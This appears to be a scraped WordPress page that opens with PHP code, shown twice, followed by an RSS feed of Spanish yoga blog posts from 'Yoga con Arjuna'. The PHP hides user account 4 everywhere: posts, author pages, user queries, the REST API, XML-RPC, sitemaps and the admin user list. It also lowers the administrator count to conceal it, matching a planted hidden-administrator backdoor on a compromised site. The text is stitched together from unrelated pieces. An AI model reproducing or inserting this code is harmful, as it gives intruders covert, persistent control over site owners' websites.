add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
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add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
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    // noop
} );
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	<title>ARJUNA &#8211; Yoga con Arjuna</title>
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	<item>
		<title>Conoces el VIRAYOGA?</title>
		<link>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/</link>
		<comments>http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/#respond</comments>
		<pubDate>Mon, 21 Mar 2016 14:04:47 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Artes Marciales]]></category>
		<category><![CDATA[bloqueos energéticos]]></category>
		<category><![CDATA[preparación vertebral]]></category>
		<category><![CDATA[vira yoga]]></category>
		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Conoces el VIRA YOGA?</p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/">Conoces el VIRAYOGA?</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Para que podáis ver qué es el VIRAYOGA, hoy he preparado un pequeño video ejemplo sobre una de las preparaciones vertebrales del vira yoga: <a href="https://youtu.be/h4smoSveG7g">Conoces el VIRA YOGA?</a></p>
<p style="text-align: justify;">La preparación vertebral, es de los primeros ejercicios que realizamos en nuestra práctica, lo usamos para flexibilizar la columna vertebral y estirar la musculatura anterior y posterior del tronco. Unido a estos beneficios también este ejercicio elimina tensiones, agresividad acumulada, bloqueos energéticos.<span id="more-511"></span></p>
<p style="text-align: justify;">En este video puedes ver la técnica de artes marciales, en este caso como defenderte de un agarre de solapa ante una agresión. y a partir de ahí basándonos en esos gestos de la técnica marcial, sale esta preparación vertebral con tantos beneficios.</p>
<p style="text-align: justify;">Puedes aprovechar para practicarlas, siempre con conciencia y sin prisas. Si quieres saber más del VIRAYOGA contacta conmigo. Y ahora, a practicar y disfrutar!!</p>
<p>Arjuna</p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/03/21/httpsyoutu-beh4smosveg7g/">Conoces el VIRAYOGA?</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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		</item>
		<item>
		<title>La esencia del VIRAYOGA</title>
		<link>http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/</link>
		<comments>http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/#respond</comments>
		<pubDate>Sun, 10 Jan 2016 09:25:18 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ARJUNA]]></category>
		<category><![CDATA[Meditación]]></category>
		<category><![CDATA[pranayamas]]></category>
		<category><![CDATA[vira yoga]]></category>
		<category><![CDATA[Yoga]]></category>

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		<description><![CDATA[<p>Cuando pensamos en héroes o guerreros de inmediato asociamos estas ideas con grandes personajes que han conseguido cosas increíbles, pero la realidad es que el auténtico héroe se encuentra dentro de cada uno de nosotros. De aquellas personas que tienen vidas mundanas, con dificultades y que a pesar de eso no dudan ni un instante...&#160;<a href="http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/">[Leer&#160;más]</a></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/">La esencia del VIRAYOGA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Cuando pensamos en héroes o guerreros de inmediato asociamos estas ideas con grandes personajes que han conseguido cosas increíbles, pero la realidad es que el auténtico héroe se encuentra dentro de cada uno de nosotros. De aquellas personas que tienen vidas mundanas, con dificultades y que a pesar de eso no dudan ni un instante en seguir adelante. De esto habla el Virayoga, de sacar nuestra fuerza interior y creer en nosotros para hacernos más fuertes y ayudarnos a superar las adversidades.</p>
<p style="text-align: justify;">Si sientes inquietudes por evolucionar como persona y aprender a escuchar dentro de ti lo puedes conseguir a través de las prácticas yóguicas que te aporta el Virayoga. <span id="more-391"></span>Prácticas de meditación, visualización, pranayamas, crecimiento interno y técnicas marciales. Todas las prácticas llevadas a cabo en esta formación están enfocadas a aportar serenidad, equilibrio emocional y fuerza tanto física como psíquica.</p>
<p style="text-align: justify;">El guerrero que queremos potenciar en cada un@ de nosotros es aquel que afronta la vida con fuerza y energía. Aquel que a pesar de tener miedo o dudas sigue adelante por el camino de la vida con seguridad y confianza en su potencial. Aquel que se permite tener miedo pero no deja que eso le paralice para lograr sus sueños.</p>
<p style="text-align: justify;">Dentro de ese luchador/a existe siempre una inquietud por el sentido de la existencia, y una vivencia plena con presencia y coherencia entre lo que piensa, siente y hace.</p>
<p style="text-align: justify;">El Virayoga no es únicamente un trabajo constante y pleno hacía el interior de uno mismo sino más bien, una filosofía de vida que nos puede guiar a través de nuestra existencia. Quitándole poder a nuestro ego para despertar nuestra esencia interna más pura y fuerte.</p>
<p style="text-align: justify;">A través de estas palabras quiero transmitiros la esencia del VIRAYOGA, el sentimiento interior que cada uno de nosotros puede desarrollar y que el practicante de Vira yoga acaba adquiriendo como algo innato.</p>
<p style="text-align: center;">ARJUNA Y DURGA</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-756" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802.jpg" alt="_DSC5802" width="3937" height="2607" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802.jpg 3937w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-300x199.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-768x509.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/06/dsc5802-1024x678.jpg 1024w" sizes="(max-width: 3937px) 100vw, 3937px" /></p>
<p>La entrada <a rel="nofollow" href="http://www.yogaconarjuna.com/2016/01/10/el-sentimiento-interior-del-virayoga/">La esencia del VIRAYOGA</a> se publicó primero en <a rel="nofollow" href="http://www.yogaconarjuna.com">Yoga con Arjuna</a>.</p>
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